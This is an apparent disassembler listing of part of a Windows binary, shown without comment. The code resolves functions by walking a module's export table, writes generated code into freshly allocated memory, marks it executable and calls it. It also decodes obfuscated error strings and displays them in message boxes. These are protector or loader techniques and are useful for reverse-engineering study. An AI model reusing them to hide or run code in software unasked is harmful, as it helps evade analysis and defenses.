je 0x140039039
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x579]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003958a
inc rax
test edi, edi
jne 0x140039575
xor edi, edi
test r8d, r8d
je 0x14003959f
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140039564
jmp 0x140039039
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140039039
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140039039
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x233b4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x22030]
call fcn.1400437d4
lea rcx, [rbp + 0x22030]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x22030]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x3c490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140039643
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x3c490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe74], eax
lea r9, [rbp + 0xe74]
mov r8d, r12d
mov edx, r13d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x218]
mov r8, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe74]
mov r8d, dword [rbp + 0xe74]
mov edx, r13d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x14010d364], edi
lea r13d, [rdi + 0x10]
jmp 0x14003903c
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140039978
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140039978
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140039978
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140039978
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140039978
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4d1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400397cf
inc rax
test edi, edi
jne 0x1400397ba
xor edi, edi
test r8d, r8d
je 0x1400397e4
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x1400397a9
jmp 0x140039978
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140039978
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140039978
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x24744], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x233c0]
call fcn.1400437d4
lea rcx, [rbp + 0x233c0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x233c0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x3d490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140039888
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x3d490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe70], eax
lea r9, [rbp + 0xe70]
mov r8d, r12d
mov edx, r13d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xce8]
lea rdx, [rbp + 0xd08]
mov rcx, qword [rbp - 0x20]
call rdi
lea r9, [rbp + 0xe70]
mov r8d, dword [rbp + 0xe70]
mov edx, r13d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
lea r13d, [rax + 0x10]
add qword [rbp - 0x30], rsi
lea rcx, [rbp + 0xf40]
call fcn.140043530
mov r11, qword [rbp - 0x30]
mov r10, qword [rbp - 8]
jmp 0x140031158
mov byte [rbp + 0x350], WSASetLastError
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x351], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x352], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x353], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x354], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x355], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x356], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x357], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x358], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x359], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x35a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x35b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x35c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x35d], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x35e], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x35f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x360], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + 0x361], al
xor eax, eax
mov byte [rbp + 0x362], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x351]
lea rcx, [rbp + 0x350]
call fcn.1400429f8
mov byte [rbp + rdi + 0x351], al
add rdi, rsi
cmp rdi, rbx
jb 0x140039b7a
xor edi, edi
mov byte [rbp + 0x362], dil
mov byte [rbp + 0x560], Ordinal_41
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x561], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x562], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r12b
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x563], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x564], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x565], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x566], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x567], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x568], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r12b
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x569], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x56a], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x56b], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x56c], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x56d], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x56e], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x56f], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x570], al
mov r9d, esi
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x571], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x572], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x573], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x33
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + 0x574], al
xor eax, eax
mov byte [rbp + 0x575], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x561]
lea rcx, [rbp + 0x560]
call fcn.1400430f8
mov byte [rbp + rdi + 0x561], al
add rdi, rbx
cmp rdi, rsi
jb 0x140039dda
xor eax, eax
mov byte [rbp + 0x575], al
xor r9d, r9d
lea r8, [rbp + 0x351]
lea rdx, [rbp + 0x561]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x368], Ordinal_79
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x369], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x36a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x36b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x36c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x36d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x36e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x36f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x370], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x371], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x372], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x373], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x374], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x375], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x376], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x377], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x378], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + 0x379], al
xor eax, eax
mov byte [rbp + 0x37a], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x369]
lea rcx, [rbp + 0x368]
call fcn.1400429f8
mov byte [rbp + rdi + 0x369], al
add rdi, rsi
cmp rdi, rbx
jb 0x14003a4a6
xor edi, edi
mov byte [rbp + 0x37a], dil
mov byte [rbp + 0x5c0], reloc.WLDAP32.dll_Ordinal_50
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c1], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r12b
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r12b
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5c9], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5ca], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5cb], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5cc], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5cd], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5ce], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5cf], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5d0], al
mov r9d, esi
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5d1], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5d2], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5d3], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x36
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + 0x5d4], al
xor eax, eax
mov byte [rbp + 0x5d5], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5c1]
lea rcx, [rbp + 0x5c0]
call fcn.1400430f8
mov byte [rbp + rdi + 0x5c1], al
add rdi, rbx
cmp rdi, rsi
jb 0x14003a706
xor eax, eax
mov byte [rbp + 0x5d5], al
xor r9d, r9d
lea r8, [rbp + 0x369]
lea rdx, [rbp + 0x5c1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x380], 0x55
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x381], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x382], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x383], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x384], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x385], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x386], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x387], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x388], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x389], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x38a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x38b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x38c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x38d], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x38e], al
mov r9, rbx
lea r15d, [rsi + 0xd]
mov r8d, r15d
mov dl, 0x75
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x38f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x390], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + 0x391], al
xor eax, eax
mov byte [rbp + 0x392], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x381]
lea rcx, [rbp + 0x380]
call fcn.1400429f8
mov byte [rbp + rdi + 0x381], al
add rdi, rsi
cmp rdi, rbx
jb 0x14003a93c
xor edi, edi
mov byte [rbp + 0x392], dil
mov byte [rbp + 0x5d8], 0x50
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5d9], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5da], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r12b
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5db], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5dc], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5dd], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5de], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5df], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e0], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r12b
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e1], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e2], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e3], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e4], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e5], al
mov r9d, esi
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e6], al
mov r9d, esi
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e7], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e8], al
mov r9d, esi
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5e9], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5ea], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5eb], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x35
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + 0x5ec], al
xor eax, eax
mov byte [rbp + 0x5ed], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5d9]
lea rcx, [rbp + 0x5d8]
call fcn.1400430f8
mov byte [rbp + rdi + 0x5d9], al
add rdi, rbx
cmp rdi, rsi
jb 0x14003ab9c
xor eax, eax
mov byte [rbp + 0x5ed], al
xor r9d, r9d
lea r8, [rbp + 0x381]
lea rdx, [rbp + 0x5d9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x398], reloc.WLDAP32.dll_Ordinal_22
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x399], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x39a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x39b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x39c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x39d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x39e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x39f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x398]
call fcn.1400429f8
mov byte [rbp + 0x3a0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x398]
